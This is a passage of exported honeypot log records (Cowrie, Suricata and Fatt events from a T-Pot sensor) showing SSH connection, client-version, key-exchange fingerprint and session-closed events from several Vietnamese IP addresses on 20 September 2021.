\N	cowrie.login.failed	\N	\N	\N
27605	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.258083+03	2021-09-20 14:30:01.685525+03	{"_id": "FAbqAnwBvYTbRNuEoiks", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6acaeeb0096d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:03.258083Z", "@timestamp": "2021-09-20T11:15:03.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27606	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:03.537379+03	2021-09-20 14:30:01.687523+03	{"_id": "HQbqAnwBvYTbRNuEpCkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 691349833046287, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57204, "dest_port": 22, "timestamp": "2021-09-20T11:15:03.537379Z", "@timestamp": "2021-09-20T11:15:03.537Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27607	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:03.742771+03	2021-09-20 14:30:01.688524+03	{"_id": "IAbqAnwBvYTbRNuEpSlS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59874, "timestamp": "2021-09-20T11:15:03.742771", "@timestamp": "2021-09-20T11:15:03.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27608	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.962236+03	2021-09-20 14:30:01.689523+03	{"_id": "KgbqAnwBvYTbRNuEpikW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6acaeeb0096d", "@version": "1", "timestamp": "2021-09-20T11:15:03.962236Z", "@timestamp": "2021-09-20T11:15:03.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27609	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:04.1682+03	2021-09-20 14:30:01.690523+03	{"_id": "KwbqAnwBvYTbRNuEpikW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "f2d6ae19a948", "@version": "1", "duration": 8.368898391723633, "timestamp": "2021-09-20T11:15:04.168200Z", "@timestamp": "2021-09-20T11:15:04.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27610	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:05.152779+03	2021-09-20 14:30:01.691523+03	{"_id": "NAbqAnwBvYTbRNuEqSn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f8b079b1ad98", "@version": "1", "timestamp": "2021-09-20T11:15:05.152779Z", "@timestamp": "2021-09-20T11:15:05.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27611	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:15:06.239004+03	2021-09-20 14:30:01.693523+03	{"_id": "NQbqAnwBvYTbRNuEqynq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2074466741477756, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57218, "dest_port": 22, "timestamp": "2021-09-20T11:15:06.239004Z", "@timestamp": "2021-09-20T11:15:06.239Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27612	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:05.964123+03	2021-09-20 14:30:01.694524+03	{"_id": "NgbqAnwBvYTbRNuErSkl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57218, "timestamp": "2021-09-20T11:15:05.964123", "@timestamp": "2021-09-20T11:15:05.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27613	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:02.20114+03	2021-09-20 14:30:01.696525+03	{"_id": "CAbqAnwBvYTbRNuEnilB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "ab0dd4afbe8c", "@version": "1", "duration": 5.515249729156494, "timestamp": "2021-09-20T11:15:02.201140Z", "@timestamp": "2021-09-20T11:15:02.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27614	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.467046+03	2021-09-20 14:30:01.697523+03	{"_id": "GgbqAnwBvYTbRNuEoikt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59874 (192.168.176.2:22) [session: 29aca63c6f1e]", "session": "29aca63c6f1e", "@version": "1", "protocol": "ssh", "src_port": 59874, "dest_port": 22, "timestamp": "2021-09-20T11:15:03.467046Z", "@timestamp": "2021-09-20T11:15:03.467Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27615	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.470828+03	2021-09-20 14:30:01.699524+03	{"_id": "HAbqAnwBvYTbRNuEoikt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "29aca63c6f1e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:03.470828Z", "@timestamp": "2021-09-20T11:15:03.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27616	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:03.162301+03	2021-09-20 14:30:01.700523+03	{"_id": "DQbqAnwBvYTbRNuEoiks", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c0650f636acd", "@version": "1", "duration": 3.9686360359191895, "timestamp": "2021-09-20T11:15:03.162301Z", "@timestamp": "2021-09-20T11:15:03.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27617	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.180449+03	2021-09-20 14:30:01.701526+03	{"_id": "DgbqAnwBvYTbRNuEoiks", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "20e24375d5f8", "@version": "1", "duration": 4.319914817810059, "timestamp": "2021-09-20T11:15:03.180449Z", "@timestamp": "2021-09-20T11:15:03.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27618	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:06.823039+03	2021-09-20 14:30:01.703524+03	{"_id": "SAbqAnwBvYTbRNuEsSnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51306 (192.168.176.2:22) [session: 8e29cb4e7ead]", "session": "8e29cb4e7ead", "@version": "1", "protocol": "ssh", "src_port": 51306, "dest_port": 22, "timestamp": "2021-09-20T11:15:06.823039Z", "@timestamp": "2021-09-20T11:15:06.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27619	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:07.689595+03	2021-09-20 14:30:01.704524+03	{"_id": "SgbqAnwBvYTbRNuEsSnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", 